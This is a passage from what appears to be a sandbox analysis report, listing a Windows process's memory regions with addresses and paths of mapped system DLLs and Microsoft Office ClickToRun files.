0x7fef46d0000 end_va = 0x7fef4731fff entry_point = 0x7fef46d0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 285 start_va = 0x7fef4de0000 end_va = 0x7fef4e50fff entry_point = 0x7fef4de0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 286 start_va = 0x7fef5270000 end_va = 0x7fef527bfff entry_point = 0x7fef5270000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 287 start_va = 0x7fef53d0000 end_va = 0x7fef53d7fff entry_point = 0x7fef53d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 288 start_va = 0x7fef61c0000 end_va = 0x7fef6223fff entry_point = 0x7fef61c0000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 289 start_va = 0x7fef6230000 end_va = 0x7fef62a0fff entry_point = 0x7fef6230000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 290 start_va = 0x7fef6390000 end_va = 0x7fef6581fff entry_point = 0x7fef6390000 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 291 start_va = 0x7fef67d0000 end_va = 0x7fef6843fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 292 start_va = 0x7fef79d0000 end_va = 0x7fef7bb9fff entry_point = 0x7fef79d0000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 293 start_va = 0x7fef7bc0000 end_va = 0x7fef7df9fff entry_point = 0x7fef7bc0000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 294 start_va = 0x7fef8c50000 end_va = 0x7fef8c8afff entry_point = 0x7fef8c50000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 295 start_va = 0x7fef97e0000 end_va = 0x7fef99fcfff entry_point = 0x7fef97e0000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 296 start_va = 0x7fef9a00000 end_va = 0x7fef9d15fff entry_point = 0x7fef9a00000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 297 start_va = 0x7fef9d20000 end_va = 0x7fef9d22fff entry_point = 0x7fef9d20000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 298 start_va = 0x7fef9d30000 end_va = 0x7fef9d32fff entry_point = 0x7fef9d30000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 299 start_va = 0x7fef9d40000 end_va = 0x7fef9d42fff entry_point = 0x7fef9d40000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 300 start_va = 0x7fef9d50000 end_va = 0x7fef9d52fff entry_point = 0x7fef9d50000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 301 start_va = 0x7fef9d60000 end_va = 0x7fef9d64fff entry_point = 0x7fef9d60000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 302 start_va = 0x7fef9d70000 end_va = 0x7fef9d74fff entry_point = 0x7fef9d70000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 303 start_va = 0x7fef9d80000 end_va = 0x7fef9d82fff entry_point = 0x7fef9d80000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 304 start_va = 0x7fef9e30000 end_va = 0x7fef9e33fff entry_point = 0x7fef9e30000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 305 start_va = 0x7fef9e40000 end_va = 0x7fef9e43fff entry_point = 0x7fef9e40000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 306 start_va = 0x7fef9e50000 end_va = 0x7fef9e52fff entry_point = 0x7fef9e50000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 307 start_va = 0x7fef9e60000 end_va = 0x7fef9e63fff entry_point = 0x7fef9e60000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 308 start_va = 0x7fef9e70000 end_va = 0x7fef9e72fff entry_point = 0x7fef9e70000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 309 start_va = 0x7fef9e80000 end_va = 0x7fef9e82fff entry_point = 0x7fef9e80000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 310 start_va = 0x7fef9e90000 end_va = 0x7fef9e92fff entry_point = 0x7fef9e90000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 311 start_va = 0x7fef9ea0000 end_va = 0x7fef9ea2fff entry_point = 0x7fef9ea0000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 312 start_va = 0x7fef9eb0000 end_va = 0x7fef9eb2fff entry_point = 0x7fef9eb0000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 313 start_va = 0x7fef9ec0000 end_va = 0x7fef9ec2fff entry_point = 0x7fef9ec0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 314 start_va = 0x7fef9ed0000 end_va = 0x7fef9fc1fff entry_point = 0x7fef9ed0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 315 start_va = 0x7fef9fd0000 end_va = 0x7fef9fd3fff entry_point = 0x7fef9fd0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 316 start_va = 0x7fef9fe0000 end_va = 0x7fef9ff5fff entry_point = 0x7fef9fe0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 317 start_va = 0x7fefa940000 end_va = 0x7fefa9e6fff entry_point = 0x7fefa940000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 318 start_va = 0x7fefa9f0000 end_va = 0x7fefaa44fff entry_point = 0x7fefa9f0000 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 319 start_va = 0x7fefaa50000 end_va = 0x7fefaa83fff entry_point = 0x7fefaa50000 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll") Region: id = 320 start_va = 0x7fefad50000 end_va = 0x7fefad67fff entry_point = 0x7fefad50000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 321 start_va = 0x7fefad70000 end_va = 0x7fefad80fff entry_point = 0x7fefad70000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 322 start_va = 0x7fefadd0000 end_va = 0x7fefaddafff entry_point = 0x7fefadd0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 323 start_va = 0x7fefade0000 end_va = 0x7fefadf4fff entry_point = 0x7fefade0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 324 start_va = 0x7fefae20000 end_va = 0x7fefae30fff entry_point = 0x7fefae20000 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 325 start_va = 0x7fefae40000 end_va = 0x7fefae48fff entry_point = 0x7fefae40000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 326 start_va = 0x7fefae80000 end_va = 0x7fefaed2fff entry_point = 0x7fefae80000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 327 start_va = 0x7fefaff0000 end_va = 0x7fefaffafff entry_point = 0x7fefaff0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 328 start_va = 0x7fefb000000 end_va = 0x7fefb026fff entry_point = 0x7fefb000000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 329 start_va = 0x7fefb1a0000 end_va = 0x7fefb1b4fff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 330 start_va = 0x7fefb4a0000 end_va = 0x7fefb4ccfff entry_point = 0x7fefb4a0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 331 start_va = 0x7fefb4d0000 end_va = 0x7fefb4fbfff entry_point = 0x7fefb4d0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 332 start_va = 0x7fefb5b0000 end_va = 0x7fefb5c0fff entry_point = 0x7fefb5b0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 333 start_va = 0x7fefb720000 end_va = 0x7fefb734fff entry_point = 0x7fefb720000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 334 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 335 start_va = 0x7fefb750000 end_va = 0x7fefb765fff entry_point = 0x7fefb750000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 336 start_va = 0x7fefb880000 end_va = 0x7fefb890fff entry_point = 0x7fefb880000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 337 start_va = 0x7fefb8b0000 end_va = 0x7fefb9d9fff entry_point = 0x7fefb8b0000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 338 start_va = 0x7fefb9e0000 end_va = 0x7fefba14fff entry_point = 0x7fefb9e0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 339 start_va = 0x7fefba20000 end_va = 0x7fefba37fff entry_point = 0x7fefba20000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 340 start_va = 0x7fefbc30000 end_va = 0x7fefbe44fff entry_point = 0x7fefbc30000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 341 start_va = 0x7fefbe50000 end_va = 0x7fefbea5fff entry_point = 0x7fefbe50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 342 start_va = 0x7fefbeb0000 end_va = 0x7fefbfdbfff entry_point = 0x7fefbeb0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 343 start_va = 0x7fefc030000 end_va = 0x7fefc223fff entry_point = 0x7fefc030000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 344 start_va = 0x7fefc6f0000 end_va = 0x7fefc6fbfff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 345 start_va = 0x7fefc7c0000 end_va = 0x7fefc7c6fff entry_point = 0x7fefc7c0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 346 start_va = 0x7fefc8d0000 end_va = 0x7fefc8edfff entry_point = 0x7fefc8d0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 347 start_va = 0x7fefca20000 end_va = 0x7fefca29fff entry_point = 0x7fefca20000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 348 start_va = 0x7fefca60000 end_va = 0x7fefcaabfff entry_point = 0x7fefca60000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 349 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 350 start_va = 0x7fefcc40000 end_va = 0x7fefcc9afff entry_point = 0x7fefcc40000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 351 start_va = 0x7fefcdb0000 end_va = 0x7fefcdb6fff entry_point = 0x7fefcdb0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 352 start_va = 0x7fefcdc0000 end_va = 0x7fefce14fff entry_point = 0x7fefcdc0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 353 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 354 start_va = 0x7fefcf90000 end_va = 0x7fefcfb1fff entry_point = 0x7fefcf90000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 355 start_va = 0x7fefcfc0000 end_va = 0x7fefd00dfff entry_point = 0x7fefcfc0000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 356 start_va = 0x7fefd320000 end_va = 0x7fefd342fff entry_point = 0x7fefd320000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 357 start_va = 0x7fefd3c0000 end_va = 0x7fefd3cafff entry_point = 0x7fefd3c0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 358 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 359 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 360 start_va = 0x7fefd4d0000 end_va = 0x7fefd50cfff entry_point = 0x7fefd4d0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 361 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 362 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 363 start_va = 0x7fefd5d0000 end_va = 0x7fefd5defff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 364 start_va = 0x7fefd680000 end_va = 0x7fefd6b9fff entry_point = 0x7fefd680000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 365 start_va = 0x7fefd6c0000 end_va = 0x7fefd6d9fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 366 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 367 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 368 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f5fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 369 start_va = 0x7fefd900000 end_va = 0x7fefd94cfff entry_point = 0x7fefd900000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 370 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 371 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 372 start_va = 0x7fefdbb0000 end_va = 0x7fefdcd9fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 373 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 374 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 375 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 376 start_va = 0x7fefde40000 end_va = 0x7fefde47fff entry_point = 0x7fefde40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 377 start_va = 0x7fefde50000 end_va = 0x7fefebd7fff entry_point = 0x7fefde50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 378 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 379 start_va = 0x7fefec10000 end_va = 0x7fefed87fff entry_point = 0x7fefec10000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 380 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 381 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 382 start_va = 0x7feff080000 end_va = 0x7feff2d8fff entry_point = 0x7feff080000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 383 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 384 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 385 start_va = 0x7feff4e0000 end_va = 0x7feff531fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 386 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 387 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 388 start_va = 0x7feff650000 end_va = 0x7feff826fff entry_point = 0x7feff650000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 389 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 390 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 391 start_va = 0x7fffff70000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 392 start_va = 0x7fffff80000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 393 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 394 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 395 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 396 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 397 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" 